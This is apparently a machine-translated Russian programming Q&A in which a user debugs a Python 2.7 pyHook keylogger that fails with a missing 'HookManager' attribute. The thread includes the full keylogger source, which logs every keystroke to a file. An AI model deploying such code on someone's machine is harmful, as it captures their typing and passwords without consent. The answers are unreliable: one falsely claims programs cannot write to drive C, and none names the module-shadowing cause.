2016-10-01 7 views
0

я копирую ключ регистратор из этого видео: (https://www.youtube.com/watch?v=8BiOPBsXh0g) и выполнение кода:Нет атрибута 'HookManager'

import pyHook, sys, logging, pythoncom 

    file_log = 'C:\Users\User\Google Drive\Python' 

    def OnKeyboardEvent(event): 
     logging.basicConfig(filename = file_log, level = logging.DEBUG, format = '%(message)s') 
     chr(event.Ascii) 
     logging.log(10, chr(event.Ascii)) 
     return True 

    hooks_manager = pyHook.HookManager() 
    hooks_manager.KeyDown = OnKeyboardEvent 
    hooks_manager.HookKeyboard() 
    pythoncom.Pumpmessages() 

Это возвращает ошибку:

Traceback (most recent call last): 
     File "C:\Users\User\Google Drive\Python\pyHook.py", line 2, in <module> 
     import pyHook, sys, logging, pythoncom 
     File "C:\Users\User\Google Drive\Python\pyHook.py", line 12, in <module> 
     hooks_manager = pyHook.HookManager() 
    AttributeError: 'module' object has no attribute 'HookManager' 

Я бегу на Python 2.7 .11 и компьютер с Windows. Я не знаю, в чем проблема; пожалуйста помоги. Спасибо

ответ

0

Я все еще не уверен, в чем проблема, но я нашел решение. Если вы переместите программу, которую вы пытаетесь запустить в ту же папку, что и файл HookManager.py, она работает.

Для меня этот файл был: C: \ python27 \ Lib \ сайт-пакеты \ pyHook

0

Bro эта линия не так

file_log = 'C:\Users\User\Google Drive\Python'

Поскольку система не позволяет вашей программе писать на диск «C» вы должны использовать другой путь, например, «D» или «E» или т. д., как указано ниже.

file_log = 'D:\keyloggerOutput.txt' 
+0

Спасибо за помощь, но это, похоже, не решило проблему, однако у меня теперь есть рабочая версия программы. Спасибо, что нашли время ответить на мой вопрос. – Crelic

+0

bro я протестировал эту программу, и она отлично работает. –